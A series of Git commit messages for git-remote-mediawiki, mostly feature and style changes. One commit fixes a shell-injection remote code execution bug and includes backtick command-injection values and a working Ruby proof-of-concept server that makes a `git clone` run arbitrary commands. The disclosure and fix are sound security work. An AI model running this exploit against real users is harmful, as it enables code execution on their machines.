Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:
sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'
I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.
Suggested-by: Jeff King <peff@peff.net>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.
We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.
This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.
1. e41ee9b3a3
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Change the link to the canonical one, the old link redirects to the
new one.
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
We have several modules originally taken from some upstream source,
and which as far as I can tell we no longer update from the upstream
anymore. As such, I have not submitted these spelling fixes to any
external projects but just include them directly here.
Reported-by: Jens Schleusener <Jens.Schleusener@fossies.org>
Signed-off-by: Elijah Newren <newren@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Without this, the fetch process seems hanged while we fetch page
listings across the namespaces. Obviously, it should be possible to
silence this with -q, but that's an issue already present everywhere
in the code and should be fixed separately:
https://github.com/Git-Mediawiki/Git-Mediawiki/issues/30
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Ideally, we'd process them in numeric order since that is more
logical, but we can't do that yet since this is where we find the
numeric identifiers in the first place. Lexicographic order is a good
compromise.
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
When we specify a list of namespaces to fetch from, by default the MW
API will not fetch from the default namespace, refered to as "(Main)"
in the documentation:
https://www.mediawiki.org/wiki/Manual:Namespace#Built-in_namespaces
I haven't found a way to address that "(Main)" namespace when getting
the namespace ids: indeed, when listing namespaces, there is no
"canonical" field for the main namespace, although there is a "*"
field that is set to "" (empty). So in theory, we could specify the
empty namespace to get the main namespace, but that would make
specifying namespaces harder for the user: we would need to teach
users about the "empty" default namespace. It would also make the code
more complicated: we'd need to parse quotes in the configuration.
So we simply override the query here and allow the user to specify
"(Main)" since that is the publicly documented name.
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Virtual namespaces do not correspond to pages in the database and are
automatically generated by MediaWiki. It makes little sense,
therefore, to fetch pages from those namespaces and the MW API doesn't
support listing those pages.
According to the documentation, those virtual namespaces are currently
"Special" (-1) and "Media" (-2) but we treat all negative namespaces
as "virtual" as a future-proofing mechanism.
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
If we fail to find a requested namespace, we should tell the user
which ones we know about, since those were already fetched. This
allows users to fetch all namespaces by specifying a dummy namespace,
failing, then copying the list of namespaces in the config.
Eventually, we should have a flag that allows fetching all namespaces
automatically.
Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
we still want to use spaces as separators in the config, but we should
allow the user to specify namespaces with spaces, so we use underscore
for this.
Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
This introduces a new remote.origin.namespaces argument that is a
space-separated list of namespaces. The list of pages extract is then
taken from all the specified namespaces.
Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
When a media file contains valid UTF-8, git-remote-mediawiki tried to be
too clever about the encoding, and the call to utf8::downgrade() on the
downloaded content was failing with
Wide character in subroutine entry at git-remote-mediawiki line 583.
Instead, use $response->decode() to apply decoding linked to the
Content-Encoding: header, and return the content without attempting any
charset decoding.
Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Mediawiki introduces a new API for queries w/ more than 500 results in
version 1.21. That change triggered an infinite loop while cloning a
mediawiki with such a page.
The latest API renamed and moved the "continuing" information in the
response, necessary to build the next query. The code failed to retrieve
that information but still detected that it was in a "continuing
query". As a result, it launched the same query over and over again.
If a "continuing" information is detected in the response (old or new),
the next query is updated accordingly. If not, we quit assuming it's not
a continuing query.
Reported-by: Benjamin Cathey
Signed-off-by: Benoit Person <benoit.person@gmail.com>
Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
We used to update the private ref ourselves, but this update is now
done by default since 664059fb (transport-helper: update remote
helper namespace, 2013-04-17).
Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Add a command to allow previewing the contents locally before
pushing it out, when working with a MediaWiki remote.
I personally do not think this belongs to Git. If you are working
on a set of AsciiDoc source files, you sure do want to locally
format to preview what you will be pushing out, and if you are
working on a set of C or Java source files, you do want to test it
before pushing it out, too. That kind of thing belongs to your
build script, not to your SCM.
But I'll let it pass, as this is only a contrib/ thing.
* bp/mediawiki-preview:
git-remote-mediawiki: add preview subcommand into git mw
git-remote-mediawiki: add git-mw command
git-remote-mediawiki: factoring code between git-remote-mediawiki and Git::Mediawiki
git-remote-mediawiki: update tests to run with the new bin-wrapper
git-remote-mediawiki: add a git bin-wrapper for developement
wrap-for-bin: make bin-wrappers chainable
git-remote-mediawiki: introduction of Git::Mediawiki.pm
For now, Git::Mediawiki contains nothing.
This first patch moves some of git-remote-mediawiki.perl's factorisable code
into Git::Mediawiki. In the same time, it removes the side effects of that code
and renames the fucntions and constants moved to expose a better API.
Signed-off-by: Benoit Person <benoit.person@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Commit e83d36b66f turned "print STDOUT" into "print {*STDOUT}", as
suggested by perlcritic. Unfortunately, it also changed two "binmode
STDOUT" calls the same way, which does not work and yield a "Not a GLOB
reference" error.
Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
* cm/remote-mediawiki-perlcritique: (31 commits)
git-remote-mediawiki: make error message more precise
git-remote-mediawiki: add a perlcritic rule in Makefile
git-remote-mediawiki: add a .perlcriticrc file
git-remote-mediawiki: clearly rewrite double dereference
git-remote-mediawiki: fix a typo ("mediwiki" instead of "mediawiki")
git-remote-mediawiki: put non-trivial numeric values in constants.
git-remote-mediawiki: don't use quotes for empty strings
git-remote-mediawiki: replace "unless" statements with negated "if" statements
git-remote-mediawiki: brace file handles for print for more clarity
git-remote-mediawiki: modify strings for a better coding-style
git-remote-mediawiki: put long code into a subroutine
git-remote-mediawiki: remove import of unused open2
git-remote-mediawiki: check return value of open
git-remote-mediawiki: assign a variable as undef and make proper indentation
git-remote-mediawiki: rename a variable ($last) which has the name of a keyword
git-remote-mediawiki: remove unused variable $entry
git-remote-mediawiki: turn double-negated expressions into simple expressions
git-remote-mediawiki: change the name of a variable
git-remote-mediawiki: add newline in the end of die() error messages
git-remote-mediawiki: change style in a regexp
...
In subroutine parse_command, error messages were not correct. For the "import"
function, having too much or incorrect arguments displayed both
"invalid arguments", while it displayed "too many arguments" for the "option"
functions under the same conditions.
Separate the two error messages in both cases.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
@$var structures are re-written in the following way: @{$var}
It makes them more readable.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Non-trivial numeric values (e.g., different from 0, 1 and 2) are placed in
constants at the top of the code to be easily modifiable and to make more sense
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Empty strings are replaced by an $EMPTY constant.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
This follows the following rule:
InputOutput::RequireBracedFileHandleWithPrint (Severity: 1)
The `print' and `printf' functions have a unique syntax that supports an
optional file handle argument. Conway suggests wrapping this argument in
braces to make it visually stand out from the other arguments. When you
put braces around any of the special package-level file handles like
`STDOUT', `STDERR', and `DATA', you must the `'*'' sigil or else it
won't compile under `use strict 'subs''.
print $FH "Mary had a little lamb\n"; #not ok
print {$FH} "Mary had a little lamb\n"; #ok
print STDERR $foo, $bar, $baz; #not ok
print {STDERR} $foo, $bar, $baz; #won't compile under 'strict'
print {*STDERR} $foo, $bar, $baz; #perfect!
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
- strings which don't need interpolation are single-quoted for more clarity and
slight gain of performance
- interpolation is preferred over concatenation in many cases, for more clarity
- variables are always used with the ${} operator inside strings
- strings including double-quotes are written with qq() so that the quotes do
not have to be escaped
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Explicitly assign local variable $/ as undef and make a proper
one-instruction-by-line indentation
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Local variable $url has the same name as a global variable. Changing the name
of the local variable prevents future possible misunderstanding.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
In this regexp, ' |\n' is used, whereas its equivalent '[ \n]', which is
clearer, is used elsewhere. Make the style coherent.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Use {}{} instead of /// when slashes are used inside the regexp so as not to
escape it.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
A "split ' '" is turned into a "split / /", which changes its behaviour: the
old method matched a run of whitespaces (/\s*/), while the new one will match a
single space, which is what we want here. Indeed, in other contexts,
changing split(' ') to split(/ /) could potentially be a regression, however,
here, when parsing the output of "rev-list --parents", whose output SHA-1's are
each separated by a single space, splitting on a single space is perfectly
correct.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
m// and // is used randomly. It is better to use the m modifier only when
needed, e.g., when the regexp uses another separator than //.
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
Subroutines' parameters should be assigned to variable before doing anything
else
Besides, existing instruction affected a variable inside a "if", which break
Git's coding style
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
